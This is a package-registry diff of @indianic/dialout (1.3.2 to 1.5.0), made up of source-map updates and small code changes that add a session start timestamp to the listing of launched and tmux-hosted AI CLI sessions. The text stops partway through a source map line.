@indianic/dialout 1.3.2 → 1.5.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1 +1 @@
1
- {"version":3,"file":"ai-sessions.d.ts","sourceRoot":"","sources":["../src/ai-sessions.ts"],"names":[],"mappings":"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"}
1
+ {"version":3,"file":"ai-sessions.d.ts","sourceRoot":"","sources":["../src/ai-sessions.ts"],"names":[],"mappings":"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"}
@@ -118,6 +118,9 @@ function listLaunchedSessions() {
118
118
  origin: 'launched',
119
119
  permissionMode: rec.permissionMode,
120
120
  updatedAt: rec.createdAt,
121
+ // A launched session began when DevDash created its record — there is no
122
+ // long-lived process whose start time would be more accurate.
123
+ startedAt: rec.createdAt,
121
124
  transcript: launchedTranscript(rec),
122
125
  };
123
126
  });
@@ -149,7 +152,7 @@ async function discoverAiSessions(deps = {}) {
149
152
  panes.sort((a, b) => b.startedAt - a.startedAt);
150
153
  const claimed = new Set();
151
154
  const out = [];
152
- for (const { session, agent } of panes) {
155
+ for (const { session, agent, startedAt } of panes) {
153
156
  // A session whose transcript cannot be found is not showable as chat.
154
157
  // Listing it would produce a row that opens into permanent emptiness.
155
158
  const transcript = locate(agent.pid, agent.kind, claimed);
@@ -168,6 +171,9 @@ async function discoverAiSessions(deps = {}) {
168
171
  status: live ? (0, ai_status_1.deriveStatus)(live.events, live.tail.lastGrowthMs, Date.now()) : 'idle',
169
172
  origin: 'tmux',
170
173
  updatedAt: (session.lastActivity || 0) * 1000,
174
+ // The CLI process's start, not the tmux session's: a shell can sit in a
175
+ // pane for days before anyone runs `claude` in it.
176
+ startedAt,
171
177
  transcript,
172
178
  });
173
179
  }
@@ -1 +1 @@
1
- {"version":3,"file":"ai-sessions.js","sourceRoot":"","sources":["../src/ai-sessions.ts"],"names":[],"mappings":"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